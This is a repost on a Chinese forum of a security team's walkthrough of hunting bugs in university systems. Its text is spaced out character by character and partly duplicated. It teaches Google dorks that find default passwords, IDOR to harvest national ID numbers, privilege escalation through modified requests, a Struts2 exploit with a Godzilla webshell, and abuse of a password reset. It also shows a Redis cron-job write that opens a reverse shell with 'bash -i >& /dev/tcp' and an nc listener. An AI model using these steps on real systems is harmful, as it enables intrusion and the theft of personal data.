搜索

[7635] 2021-07-21_经验分享一些个人的edusrc小白经验

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-07-21_经验分享一些个人的edusrc小白经验 经 验 分 享   |   一 些 个 人 的 e d u s r c 小 白 经 验 原 创   白 龙   F 1 2 s e c   2 0 2 1 - 0 7 - 2 1 这 是 这 是 F 1 2 s e c 的 第 的 第 6 6 篇 原 创 篇 原 创   申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ p s ： 本 文 来 自 团 队 师 傅 白 龙 哥 哥 ， 转 载 请 注 明 来 源 。 1 . 挖 掘 姿 势 挖 掘 姿 势 第 一 阶 段 开 始 那 自 然 是 信 息 收 集 有 账 号 进 到 系 统 里 测 试 比 较 容 易 测 出 漏 洞 。 所 以 先 找 到 账 号 ， 学 号 很 好 找 ， 关 键 是 密 码 ， 密 码 有 很 多 学 校 是 使 用 身 份 证 后 六 位 ， 找 密 码 也 分 成 两 种 方 式 ： 一 种 是 泄 露 部 分 的 身 份 证 后 几 位 ， 然 后 通 过 爆 破 测 出 密 码 ； 另 一 种 是 固 定 的 默   认 密 码 举 个 第 二 种 的 例 子 百 度 语 法 挑 选 合 适 的 目 标   s i t e : . e d u . c n   默 认 密 码   找 到 一 个 挺 不 错 的 。 可 以 进 这 个 系 统 看 看 有 没 有 更 多 的 信 息 进 一 步 信 息 收 集 。 然 后 就 是 找 留 学 生 的 学 号 了 ， 可 以 去 有 关 国 际 的 学 院 找 学 号 了   或 者 百 度 语 法 s i t e : x x x . e d u . c n   留 学 生   学 号   还 可 以 加 点 限 定 词 方 便 找 到 自 由 发 挥   我 用 找 到 的 留 学 生 学 号 登 录 系 统 。
没 啥 有 用 信 息   但 是 看 到 u r l 中 的 u s e r i d ， 想 着 改 一 下 参 数 值 能 不 能 越 权 到 其 他 账 号 ， 结 果 还 真 可 以 收 集 到 的 信 息 就 多 了 起 来 ， 这 也 算 信 息 泄 露 + 越 权 了 ， 有 身 份 证 就 可 以 登 录 其 它 系 统 看 看 了 。 这 里 就 不 继 续 下 去 了 。   第 二 阶 段 就 是 有 了 可 以 登 录 的 账 号 登 陆 门 户 进 入 更 多 的 系 统 测 试 。 登 录 门 户 后 能 测 试 的 站 点 也 多 了 ， 具 体 怎 么 测 试 还 得 看 是 什 么 系 统 。 我 也 是 举 个 例 子   以 学 生 权 限 登 录 ， 进 到 门 户 我 是 想 着 挖 一 些 信 息 泄 露 顺 便 看 看 能 不 能 找 到 其 他 账 号 。 比 如 老 师 或 者 研 究   生 ， 因 为 多 个 研 究 生 系 统 可 以 进   在 办 公 系 统 的 一 处 发 送 消 息 可 以 选 择 对 象 ， 选 择 对 象 似 乎 有 全 校 师 生 的 学 号 和 工 号 ， 一 看 都 是 学 号 ， 但 是 按 账 号 排 序 后 出 现 大 量 身 份 证 和 姓 名 ， 也 算 个 信 息 泄 露 了   有 了 这 个 就 差 学 号 或 者 工 号 就 可 以 组 合 成 新 的 账 户 登 录 。 本 来 还 想 着 爆 破 的 ， 但 是 在 另 一 个 系 统 里 居 然 还 有 个 查 询 人 员 的 功 能
于 是 通 过 之 前 得 到 的 教 师 姓 名 查 询 ， 果 然 能 查 到 工 号 然 后 工 号 和 身 份 证 组 合 成 新 账 户 登 录 ， 也 能 成 功 登 录 到 教 师 权 限 的 账 号 ， 没 想 到 还 有 登 录 研 究 生 系 统 的 权 限 点 击 右 上 角 可 以 切 换 角 色 ， 这 时 候 抓 包 修 改 数 据 可 以 越 权 到 管 理 员 权 限 修 改 成 1 后 放 包 后 就 到 管 理 员 身 份 了
第 三 阶 段 就 是 登 录 S S L V P N 进 内 网 进 入 内 网 一 开 始 还 是 信 息 收 集 ， 主 要 是 收 集 网 段 信 息 ， 找 到 存 活 站 点   确 定 网 段 可 以 翻 翻 百 度 谷 歌 语 有 时 候 还 是 能 找 到 有 用 信 息 ， 比 如 语 法 也 是 s i t e : . x x x . e d u . c n   内 网 （ 或 者 用 内 网 网 段 开 头 例 如 1 9 2 . 1 6 8 ） 也 可 以 用 子 域 名 挖 掘 机 看 看 子 域 名 ， 有 时 候 也 会 返 回 内 网 i p 。 如 果 收 集 不 到 网 段 信 息 就 只 能 遍 历 扫 内 网 网 段 了 确 定 网 段 后 就 可 以 利 用 工 具 扫 描 C 段 或 者 B 段 ， 扫 描 的 端 口 看 个 人 习 惯 设 置   扫 出 站 点 后 就 可 以 测 了 ， 有 些 地 方 内 网 安 全 意 识 比 较 薄 弱 ， 大 意 了 就 可 能 会 存 在 一 些 比 较 不 应 该 的 漏 洞 ， 就 可 以 上 一 些 漏 扫 工 具 。 比 如 g o b y ， 顺 便 说 一 下 g o b y 有 一 个 比 较 方 便 的 功 能 能 看 站 点 页 面 截 图 可 以 看 看 扫 出 来 的 站 点 主 页 面 是 什 么 样 的 方 便 选 择 . 举 几 个 例 子 在 内 网 遇 到 的 漏 洞   1 、 一 个 是 用 g o b y 扫 出 个 s t r u t s 2 的 漏 洞 直 接 上 工 具
权 限 一 上 来 就 是 最 高 权 限 ， 目 录 也 出 来 了 直 接 传 个 哥 斯 拉 马 连 接 就 行 了 2 、 密 码 重 置 发 现 一 个 系 统
手 工 测 了 一 波 弱 口 令 找 不 到 密 码 ， 然 后 注 册 用 户 时 输 入 a d m i n 显 示 占 用 ， 那 就 到 找 回 密 码 出 有 没 有 什 么 突 破 口   看 到 找 回 密 码 的 问 题 是 我 的 名 字 我 返 回 到 上 面 账 号 验 证 那 步 输 入 好 用 户 名 和 验 证 码 后 开 启 抓 包 ， 放 包 到 下 图 这 个 包 时 看 到 有 个 g e t x i n x i b y u s e r i d ， 然 后 发 送 到 重 发 包 巧 了 这 时 候 能 看 到 管 理 员 的 信 息   里 面 正 好 有 个 X i n g M i n g ， 和 我 一 样 是 拼 音 佬
在 密 保 问 题 里 赶 紧 写 上 然 后 找 回 密 码 ， 但 是 结 果 是 重 置 的 密 码 发 到 邮 箱 里 了 于 是 重 来 了 一 遍 到 这 个 包 时 看 到 E m a i l ， 改 成 自 己 的 邮 箱 然 后 放 包 ， 但 是 一 直 没 有 收 到 邮 件 好 像 没 有 用 但 是 转 念 一 下 密 码 重 置 了 应 该 会 是 默 认 的 然 后 试 了 一 下 弱 口 令 发 现 a d m i n / 1 2 3 4 5 6 登 陆 成 功 3 、 r e d i s 未 授 权 计 划 任 务 反 弹 s h e l l   用 工 具 扫 描 网 段 时 看 到 有 个 i p 开 了 6 3 7 9 端 口 ， 马 上 想 到 了 r e d i s 未 授 权 漏 洞   赶 紧 到 g i t h u b 下 了 个 r e d i s 连 接 工 具 ， 连 上 之 后 g e t   d i r 了 一 下 能 执 行 ， 看 起 来 有 戏 在 自 己 的 有 公 网 i p 的 服 务 器 上 监 听 端 口 连 接 ： r e d i s - c l i   - h   i p 获 取 路 径 : g e t   d i r n c   - l v v n p   8 8 8 8
顺 便 提 一 下 一 般 是 - l v p 就 行 了 但 是 我 这 个 阿 里 云 的 服 务 器 会 报 错 ， 百 度 了 一 下 加 了 个 参 数 n 就 可 以 了 继 续 回 到 r e d i s 连 接 上 ， 将 反 弹 s h e l l 语 句 写 入 参 数 x ， x 是 自 己 设 置 的   然 后 修 改 目 录 为 计 划 任 务 目 录 修 改 文 件 名 为 r o o t 然 后 保 存 过 了 一 分 钟 左 右 v p s 就 来 s h e l l 了 这 个 测 完 记 得 把 弹 s h e l l 的 计 划 任 务 删 了 可 以 查 看 计 划 任 务 可 以 修 改 计 划 任 务   我 是 检 查 / v a r / s p o o l / c r o n / r o o t 文 件 内 容 是 否 只 有 我 写 的 计 划 任 务 s e t   x x   " n *   *   *   *   *   b a s h   - i   > &   / d e v / t c p / i p / 端 口   0 > & 1 n "   （ i p 写 自 己 服 务 器 的 i p ， 端 口 写 自 己 监 听 的 端 口 ） c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e c r o n t a b   - l c r o n t a b   - e n c   - l v v n p   8 8 8 8 s e t   x x   " n *   *   *   *   *   b a s h   - i   > &   / d e v / t c p / i p / 端 口   0 > & 1 n "   （ i p 写 自 己 服 务 器 的 i p ， 端 口 写 自 己 监 听 的 端 口 ）
确 认 无 误 后 我 就 把 文 件 删 除 了   最 后 再 c r o n t a b   - l 检 查 一 下 — — — — — — — — — — — — — — — — — — — — — — — — — — 往 期 精 彩 推 荐 往 期 精 彩 推 荐 实 战   |   记 一 次 基 本 的 e d u 漏 洞 挖 掘 经 验 分 享   |     文 件 上 传 个 人 b y p a s s 总 结 经 验 分 享   |   m s s q l 注 入 实 战 总 结 之 狠 快 准 绕 ❤ ❤ 爱 心 三 连 击 爱 心 三 连 击 1 . 关 注 公 众 号 「 「 F 1 2 s e c 」 」 ！ 2 . 本 文 已 收 录 在 F 1 2 s e c 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t / 3 . 看 到 这 里 了 就 点 个 关 注 支 持 下 吧 ， 你 的 「 关 注 」 「 关 注 」 是 我 创 作 的 动 力 。 公 众 号 ： F 1 2 s e c Q Q 群 ： 8 8 4 3 3 8 0 4 7 官 方 网 站 ： h t t p : / / w w w . 0 d a y h a c k . n e t / 这 是 一 个 终 身 学 习 的 团 队 ， 他 们 在 坚 持 自 己 热 爱 的 事 情 ， 欢 迎 加 入 F 1 2 s e c ， 和 师 傅 们 一 起 开 心 的 挖 洞 ～                 关 注 和 转 发 是 莫 大 鼓 励 ❤ 自 己 监 听 的 端 口 ） c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理